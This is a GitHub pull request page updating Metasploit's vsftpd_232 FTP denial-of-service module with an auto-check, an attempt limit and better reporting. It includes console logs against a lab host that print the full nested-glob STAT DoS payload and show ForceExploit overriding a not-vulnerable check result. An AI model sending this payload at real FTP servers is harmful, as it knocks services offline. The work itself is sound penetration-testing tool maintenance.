Skip to content

vsftpd_232: Misc fix ups#21369

Merged
jheysel-r7 merged 7 commits into
rapid7:masterfrom
g0tmi1k:vsftpd_232
Jun 18, 2026
Merged

vsftpd_232: Misc fix ups#21369
jheysel-r7 merged 7 commits into
rapid7:masterfrom
g0tmi1k:vsftpd_232

Conversation

@g0tmi1k

@g0tmi1k g0tmi1k commented Apr 24, 2026

Copy link
Copy Markdown
Contributor

This isn't anything major, was just little misc items:

  • Doesn't force a "forever DoS loop" by default
    • Also breaks earlier too
  • Update workspace more (report_service()/report_vuln()/report_note())
  • Switch from connect_login() -> connect() (able to troubleshoot more)
  • Clean up output
  • Use AutoCheck mixin
        current  name     hosts  services  vulns  creds  loots  notes
        -------  ----     -----  --------  -----  -----  -----  -----
Before: *        default  1      4         0      0      0      2
After:  *        default  1      4         0      0      0      3

Target is Metasploitable 2 (but its not vulnerable to it).

Before

  • Couldn't force running exploit
$ ./msfconsole -q -x 'db_status; workspace -D; setg VERBOSE true;
use auxiliary/dos/ftp/vsftpd_232;
set RHOSTS 10.0.0.10;
run;
set RPORT 2121;
run;'
[*] Connected to msf. Connection type: postgresql.
[*] Deleted workspace: default
[*] Recreated the default workspace
VERBOSE => true
RHOSTS => 10.0.0.10
[*] Running module against 10.0.0.10
[*] 10.0.0.10:21 - Connecting to FTP server...
[*] 10.0.0.10:21 - Connected to target FTP server
[*] 10.0.0.10:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.0.0.10:21 - Sending password...
[-] 10.0.0.10:21 - Auxiliary aborted due to failure: not-vulnerable: Target is not vulnerable.
[*] Auxiliary module execution completed
RPORT => 2121
[*] Running module against 10.0.0.10
[*] 10.0.0.10:2121 - Connecting to FTP server...
[*] 10.0.0.10:2121 - Connected to target FTP server
[*] 10.0.0.10:2121 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.0.0.10:2121 - Sending password...
[-] 10.0.0.10:2121 - The server rejected our password
[-] 10.0.0.10:2121 - Connection refused.
[-] 10.0.0.10:2121 - Auxiliary aborted due to failure: not-vulnerable: Target is not vulnerable.
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      4         0      0      0      2

msf auxiliary(dos/ftp/vsftpd_232) > hosts

Hosts
=====

address    mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------    ---  ----  -------  ---------  -----  -------  ----  --------
10.0.0.10             Unknown                    device

msf auxiliary(dos/ftp/vsftpd_232) > services
Services
========

host       port  proto  name  state  info                           resource  parents
----       ----  -----  ----  -----  ----                           --------  -------
10.0.0.10  21    tcp    ftp   open   vsFTPd 2.3.4                   {}        tcp (21/tcp)
10.0.0.10  21    tcp    tcp   open                                  {}
10.0.0.10  2121  tcp    ftp   open   ProFTPD 1.3.1 Server (Debian)  {}        tcp (2121/tcp)
10.0.0.10  2121  tcp    tcp   open                                  {}

msf auxiliary(dos/ftp/vsftpd_232) > notes

Notes
=====

 Time                     Host       Service  Port  Protocol  Type        Data
 ----                     ----       -------  ----  --------  ----        ----
 2026-05-21 09:41:38 UTC  10.0.0.10  ftp      21    tcp       ftp.banner  {:banner=>"220 (vsFTPd 2.3.4)"}
 2026-05-21 09:41:38 UTC  10.0.0.10  ftp      2121  tcp       ftp.banner  {:banner=>"220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.0.10]"}

msf auxiliary(dos/ftp/vsftpd_232) >

After

  • Able to force exploit
  • More items in workspace
$ ./msfconsole -q -x 'db_status; workspace -D; setg VERBOSE true;
use auxiliary/dos/ftp/vsftpd_232;
set RHOSTS 10.0.0.10;
run;
set RPORT 2121;
run;'
[*] Connected to msf. Connection type: postgresql.
[*] Deleted workspace: default
[*] Recreated the default workspace
VERBOSE => true
RHOSTS => 10.0.0.10
[*] Running module against 10.0.0.10
[*] 10.0.0.10:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.10:21 - Connecting to FTP server...
[*] 10.0.0.10:21 - Connected to target FTP server
[*] 10.0.0.10:21 - FTP banner: vsFTPd 2.3.4
[*] 10.0.0.10:21 - STAT: 211-FTP server status:
[*] 10.0.0.10:21 -   Connected to 10.0.0.1
[*] 10.0.0.10:21 -   Logged in as ftp
[*] 10.0.0.10:21 -   TYPE: ASCII
[*] 10.0.0.10:21 -   No session bandwidth limit
[*] 10.0.0.10:21 -   Session timeout in seconds is 300
[*] 10.0.0.10:21 -   Control connection is plain text
[*] 10.0.0.10:21 -   Data connections will be plain text
[*] 10.0.0.10:21 -   vsFTPd 2.3.4 - secure, fast, stable
[*] 10.0.0.10:21 -   211 End of status
[-] 10.0.0.10:21 - Auxiliary aborted due to failure: not-vulnerable: The target is not exploitable. VSFTPD 2.3.4 is not vulnerable (affected: <= 2.3.2) "set ForceExploit true" to override check result.
[*] Auxiliary module execution completed
RPORT => 2121
[*] Running module against 10.0.0.10
[*] 10.0.0.10:2121 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.10:2121 - Connecting to FTP server...
[*] 10.0.0.10:2121 - Connected to target FTP server
[-] 10.0.0.10:2121 - Auxiliary aborted due to failure: not-vulnerable: The target is not exploitable. Does not appear to be VSFTPD (banner: ProFTPD 1.3.1 Server (Debian)) "set ForceExploit true" to override check result.
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) > set ForceExploit true
ForceExploit => true
msf auxiliary(dos/ftp/vsftpd_232) > run
[*] Running module against 10.0.0.10
[*] 10.0.0.10:2121 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.10:2121 - Connecting to FTP server...
[*] 10.0.0.10:2121 - Connected to target FTP server
[!] 10.0.0.10:2121 - The target is not exploitable. Does not appear to be VSFTPD (banner: ProFTPD 1.3.1 Server (Debian)) ForceExploit is enabled, proceeding with exploitation.
[*] 10.0.0.10:2121 - FTP DoS command: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
[*] 10.0.0.10:2121 - Attempt: 1/25 - Sending DoS command
[*] 10.0.0.10:2121 - Connecting to FTP server...
[*] 10.0.0.10:2121 - Connected to target FTP server
[*] 10.0.0.10:2121 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.0.0.10:2121 - Sending password...
[-] 10.0.0.10:2121 - The server rejected our password
[-] 10.0.0.10:2121 - Authentication failed — check FTPUSER/FTPPASS credentials
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) > set RPORT 21
RPORT => 21
msf auxiliary(dos/ftp/vsftpd_232) > run
[*] Running module against 10.0.0.10
[*] 10.0.0.10:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.0.0.10:21 - Connecting to FTP server...
[*] 10.0.0.10:21 - Connected to target FTP server
[*] 10.0.0.10:21 - FTP banner: vsFTPd 2.3.4
[*] 10.0.0.10:21 - STAT: 211-FTP server status:
[*] 10.0.0.10:21 -   Connected to 10.0.0.1
[*] 10.0.0.10:21 -   Logged in as ftp
[*] 10.0.0.10:21 -   TYPE: ASCII
[*] 10.0.0.10:21 -   No session bandwidth limit
[*] 10.0.0.10:21 -   Session timeout in seconds is 300
[*] 10.0.0.10:21 -   Control connection is plain text
[*] 10.0.0.10:21 -   Data connections will be plain text
[*] 10.0.0.10:21 -   vsFTPd 2.3.4 - secure, fast, stable
[*] 10.0.0.10:21 -   211 End of status
[!] 10.0.0.10:21 - The target is not exploitable. VSFTPD 2.3.4 is not vulnerable (affected: <= 2.3.2) ForceExploit is enabled, proceeding with exploitation.
[*] 10.0.0.10:21 - FTP DoS command: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
[*] 10.0.0.10:21 - Attempt: 1/25 - Sending DoS command
[*] 10.0.0.10:21 - Connecting to FTP server...
[*] 10.0.0.10:21 - Connected to target FTP server
[*] 10.0.0.10:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.0.0.10:21 - Sending password...
[...]
[*] 10.0.0.10:21 - Sending password...
[-] 10.0.0.10:21 - Reached 25 attempts without DoS
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) >
msf auxiliary(dos/ftp/vsftpd_232) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      4         0      0      0      3

msf auxiliary(dos/ftp/vsftpd_232) > hosts

Hosts
=====

address    mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------    ---  ----  -------  ---------  -----  -------  ----  --------
10.0.0.10             Unknown                    device

msf auxiliary(dos/ftp/vsftpd_232) > services
Services
========

host       port  proto  name  state  info                           resource  parents
----       ----  -----  ----  -----  ----                           --------  -------
10.0.0.10  21    tcp    ftp   open   vsFTPd 2.3.4                   {}        tcp (21/tcp)
10.0.0.10  21    tcp    tcp   open                                  {}
10.0.0.10  2121  tcp    ftp   open   ProFTPD 1.3.1 Server (Debian)  {}        tcp (2121/tcp)
10.0.0.10  2121  tcp    tcp   open                                  {}

msf auxiliary(dos/ftp/vsftpd_232) > notes

Notes
=====

 Time                     Host       Service  Port  Protocol  Type          Data
 ----                     ----       -------  ----  --------  ----          ----
 2026-05-21 12:04:34 UTC  10.0.0.10  ftp      21    tcp       ftp.banner    {:banner=>"220 (vsFTPd 2.3.4)"}
 2026-05-21 12:04:34 UTC  10.0.0.10  ftp      21    tcp       ftp.cmd.stat  {:username=>"anonymous", :output=>"211-FTP server status:\r\n     Connected to 10.0.0.1\r\n     Logged in as ftp\r\n     TYPE: ASC
                                                                            II\r\n     No session bandwidth limit\r\n     Session timeout in seconds is 300\r\n     Control connection is plain text\r\n     D
                                                                            ata connections will be plain text\r\n     vsFTPd 2.3.4 - secure, fast, stable\r\n211 End of status"}
 2026-05-21 12:04:34 UTC  10.0.0.10  ftp      2121  tcp       ftp.banner    {:banner=>"220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.0.10]"}

msf auxiliary(dos/ftp/vsftpd_232) >

@g0tmi1k g0tmi1k force-pushed the vsftpd_232 branch 6 times, most recently from bc80e14 to 7a74bb3 Compare April 30, 2026 11:57
@g0tmi1k g0tmi1k force-pushed the vsftpd_232 branch 14 times, most recently from 70067c1 to 029069a Compare May 12, 2026 09:03
@g0tmi1k g0tmi1k force-pushed the vsftpd_232 branch 8 times, most recently from b199435 to 6cfb24c Compare May 19, 2026 12:56
@g0tmi1k

g0tmi1k commented May 21, 2026

Copy link
Copy Markdown
Contributor Author

Think I've finished tweaking with this PR!

Doesn't need it, but also did have #21416 & #21396 applied in the 'after' testing (not before).

@jheysel-r7 jheysel-r7 self-assigned this Jun 9, 2026
@jheysel-r7 jheysel-r7 added the rn-enhancement release notes enhancement label Jun 9, 2026
@jheysel-r7 jheysel-r7 requested a review from Copilot June 9, 2026 18:07

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates the auxiliary/dos/ftp/vsftpd_232 module to make execution safer by default and improve operator feedback and database reporting, primarily by adopting AutoCheck, adding an attempts limit, and expanding service/note/vuln reporting.

Changes:

  • Add Msf::Exploit::Remote::AutoCheck support and adjust the check flow to use connect + banner/STAT output logging.
  • Add MAX_ATTEMPTS to cap retry loops (avoids effectively infinite DoS loops by default).
  • Add workspace reporting helpers (report_note for STAT output, report_vuln helper) and clean up module messaging.

Impact Analysis:

  • Blast radius: Low — isolated to a single auxiliary module.
  • Data and contract effects: Adds/changes DB artifacts (notes/vulns) emitted by this module; potential for duplicate/false-positive vuln entries if not addressed.
  • Rollback and test focus: Rollback is straightforward (single file); validate check/run behavior on non-FTP targets, FTP servers that don’t send banners, and on unreachable/closed ports to avoid false positives.

Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb
Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb
Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb Outdated
Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb
Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR @g0tmi1k. Copilot raised a couple good points. Other than those LGTM

Testing

msf auxiliary(dos/ftp/vsftpd_232) > set rport 21
rport => 21
msf auxiliary(dos/ftp/vsftpd_232) > run
[*] Running module against 10.5.132.178
[*] 10.5.132.178:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.5.132.178:21 - Connecting to FTP server...
[*] 10.5.132.178:21 - Connected to target FTP server
[*] 10.5.132.178:21 - FTP banner: vsFTPd 2.3.4
[*] 10.5.132.178:21 - STAT: 211-FTP server status:
[*] 10.5.132.178:21 -   Connected to 192.168.3.8
[*] 10.5.132.178:21 -   Logged in as ftp
[*] 10.5.132.178:21 -   TYPE: ASCII
[*] 10.5.132.178:21 -   No session bandwidth limit
[*] 10.5.132.178:21 -   Session timeout in seconds is 300
[*] 10.5.132.178:21 -   Control connection is plain text
[*] 10.5.132.178:21 -   Data connections will be plain text
[*] 10.5.132.178:21 -   vsFTPd 2.3.4 - secure, fast, stable
[*] 10.5.132.178:21 -   211 End of status
[!] 10.5.132.178:21 - The target is not exploitable. VSFTPD 2.3.4 is not vulnerable (affected: <= 2.3.2) ForceExploit is enabled, proceeding with exploitation.
[*] 10.5.132.178:21 - FTP DoS command: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
[*] 10.5.132.178:21 - Attempt: 1/25 - Sending DoS command
[*] 10.5.132.178:21 - Connecting to FTP server...
[*] 10.5.132.178:21 - Connected to target FTP server
[*] 10.5.132.178:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.5.132.178:21 - Sending password...
...
[*] 10.5.132.178:21 - Attempt: 25/25 - Sending DoS command
[*] 10.5.132.178:21 - Connecting to FTP server...
[*] 10.5.132.178:21 - Connected to target FTP server
[*] 10.5.132.178:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.5.132.178:21 - Sending password...
[-] 10.5.132.178:21 - Reached 25 attempts without DoS
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      2         0      0      0      2

msf auxiliary(dos/ftp/vsftpd_232) > set rport 2121
rport => 2121
msf auxiliary(dos/ftp/vsftpd_232) > run
[*] Running module against 10.5.132.178
[*] 10.5.132.178:2121 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.5.132.178:2121 - Connecting to FTP server...
[*] 10.5.132.178:2121 - Connected to target FTP server
[!] 10.5.132.178:2121 - The target is not exploitable. Does not appear to be VSFTPD (banner: ProFTPD 1.3.1 Server (Debian)) ForceExploit is enabled, proceeding with exploitation.
